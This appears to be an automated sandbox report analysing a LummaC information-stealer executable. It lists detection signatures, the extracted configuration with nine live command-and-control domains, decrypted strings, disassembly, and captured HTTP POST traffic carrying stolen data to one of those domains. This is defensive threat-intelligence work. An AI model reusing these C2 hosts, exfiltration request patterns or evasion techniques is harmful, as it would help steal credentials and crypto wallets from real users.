Edit tour

Windows Analysis Report
2FjvjcayaH.exe

Overview

General Information

Sample name:	2FjvjcayaH.exe renamed because original name is a hash value
Original sample name:	673225d992723665f19c4cf40e14b5f7.exe
Analysis ID:	1429207
MD5:	673225d992723665f19c4cf40e14b5f7
SHA1:	22312b0dc54b70c3d76e66d94b9b01f71266ffb4
SHA256:	f1c35a47842119856e0067aa4b390cdce620b3d69262266a9923278fbac15ff8
Tags:	32exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

2FjvjcayaH.exe (PID: 7516 cmdline: "C:\Users\user\Desktop\2FjvjcayaH.exe" MD5: 673225D992723665F19C4CF40E14B5F7)

WerFault.exe (PID: 7676 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1464 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 7744 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7516 -s 1612 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.1925035905.0000000001BB0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.1925141876.0000000001C1E000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x15b8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
Process Memory Space: 2FjvjcayaH.exe PID: 7516	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 2FjvjcayaH.exe PID: 7516	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 2FjvjcayaH.exe PID: 7516	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.3.2FjvjcayaH.exe.36a0000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["demonstationfukewko.shop", "liabilitynighstjsko.shop", "alcojoldwograpciw.shop", "incredibleextedwj.shop", "shortsvelventysjo.shop", "shatterbreathepsw.shop", "tolerateilusidjukl.shop", "productivelookewr.shop", "strollheavengwu.shop"], "Build id": "P6Mk0M--key"}

Multi AV Scanner detection for domain / URL

Source: https://strollheavengwu.shop/api	Virustotal: Detection: 10%			Perma Link
Source: tolerateilusidjukl.shop	Virustotal: Detection: 14%			Perma Link

Multi AV Scanner detection for submitted file

Source: 2FjvjcayaH.exe	ReversingLabs: Detection: 39%
Source: 2FjvjcayaH.exe	Virustotal: Detection: 43%			Perma Link

Machine Learning detection for sample

Source: 2FjvjcayaH.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: demonstationfukewko.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: liabilitynighstjsko.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: alcojoldwograpciw.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: incredibleextedwj.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shortsvelventysjo.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: shatterbreathepsw.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tolerateilusidjukl.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: productivelookewr.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: strollheavengwu.shop
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1924269156.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String decryptor: P6Mk0M--key

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Code function: 0_2_004162D6 CryptUnprotectData,

0_2_004162D6

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

Unpacked PE file: 0.2.2FjvjcayaH.exe.400000.0.unpack

Source: 2FjvjcayaH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\2FjvjcayaH.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.15.198:443 -> 192.168.2.4:49737 version: TLS 1.2

Source:	Binary string: C:\zehilix.pdb source: 2FjvjcayaH.exe
Source:	Binary string: cONGC:\zehilix.pdb source: 2FjvjcayaH.exe

Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B3B0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_004156B6
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_00438879
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_00437998
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_00435B8B
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_0041CC60
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_0041CC60
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AE80
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then inc ebx	0_2_00414FC0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_0041AFE0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0041AFE0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B060
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, ebx	0_2_00426097
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_00426097
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0040D160
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_0041210C
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_0041B1E0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp ecx	0_2_0043A182
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp ecx	0_2_0043A190
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222E7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004222ED
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp eax	0_2_00439389
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp eax	0_2_00422422
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_004134B2
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movzx edi, bl	0_2_0043A5D0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245D4
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_00410565
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_00424678
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_004245A8
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043B6A0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_004088F0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_0043B9D0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_0043B9D0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, edi	0_2_004069B4
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00417A65
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp eax	0_2_00417A1A
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then inc eax	0_2_0041DB22
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_00407C70
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_00407C70
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_00437D40
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_0043AD70
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ebx, ecx	0_2_00410D77
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_00410D77
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ebx, eax	0_2_00402D10
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00412E93
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then inc eax	0_2_00438F6A
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00431F80
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_01BE21E7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then inc eax	0_2_01BE91D1
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_01BC30FA
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_01BEB0E7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp ecx	0_2_01BEA3F7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp ecx	0_2_01BEA3E9
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_01BBD3C7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp byte ptr [edi], 00000000h	0_2_01BC2373
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, ebx	0_2_01BD62FE
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, dword ptr [esi+1Ch]	0_2_01BD62FE
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_01BEB2C7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then inc ebx	0_2_01BC5227
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [ebx+ecx+02h], 0000h	0_2_01BCB247
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_01BCB247
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp eax	0_2_01BE95F0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_01BD2554
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_01BD254E
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_01BCB447
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edi, dword ptr [esi+000000B8h]	0_2_01BC07CC
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+40h]	0_2_01BC3719
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp eax	0_2_01BD2689
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_01BEB617
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_01BC591D
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [eax+edi+02h], 0000h	0_2_01BC591D
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_01BCB917
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_01BEB907
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_01BD480F
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_01BD48DF
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	0_2_01BD483B
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movzx edi, bl	0_2_01BEA837
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_01BE7BFF
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 0E17900Bh	0_2_01BE7BFF
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then lea eax, dword ptr [eax+eax*4]	0_2_01BB8B57
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], FD72A8C7h	0_2_01BE8AE0
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then inc eax	0_2_01BCDA12
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	0_2_01BE5DF2
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then jmp eax	0_2_01BC7C81
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_01BC7CCC
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	0_2_01BEBC37
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+edi]	0_2_01BEBC37
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	0_2_01BE7FA7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ebx, ecx	0_2_01BC0FDE
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov dword ptr [esi+000005F0h], 00000000h	0_2_01BC0FDE
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	0_2_01BEAFD7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov ebx, eax	0_2_01BB2F77
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov edi, dword ptr [esp]	0_2_01BB7ED7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov esi, dword ptr [eax+ebx*4]	0_2_01BB7ED7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then mov eax, dword ptr [esp]	0_2_01BCCEC7
Source: C:\Users\user\Desktop\2FjvjcayaH.exe	Code function: 4x nop then cmp word ptr [ebx+esi+02h], 0000h	0_2_01BCCEC7

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: demonstationfukewko.shop
Source: Malware configuration extractor	URLs: liabilitynighstjsko.shop
Source: Malware configuration extractor	URLs: alcojoldwograpciw.shop
Source: Malware configuration extractor	URLs: incredibleextedwj.shop
Source: Malware configuration extractor	URLs: shortsvelventysjo.shop
Source: Malware configuration extractor	URLs: shatterbreathepsw.shop
Source: Malware configuration extractor	URLs: tolerateilusidjukl.shop
Source: Malware configuration extractor	URLs: productivelookewr.shop
Source: Malware configuration extractor	URLs: strollheavengwu.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18161Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8782Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5439Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1396Host: strollheavengwu.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 574241Host: strollheavengwu.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: strollheavengwu.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: strollheavengwu.shop

Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.3.dr	String found in binary or memory: http://upx.sf.net
Source: 2FjvjcayaH.exe, 00000000.00000003.1682819131.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1691767292.0000000001C95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cou
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 2FjvjcayaH.exe, 00000000.00000003.1711142220.0000000004222000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 2FjvjcayaH.exe, 00000000.00000003.1692681269.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692893501.0000000004247000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1692629719.0000000004249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp, 2FjvjcayaH.exe, 00000000.00000003.1720858072.000000000420D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 2FjvjcayaH.exe, 00000000.00000003.1720678485.000000000420C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
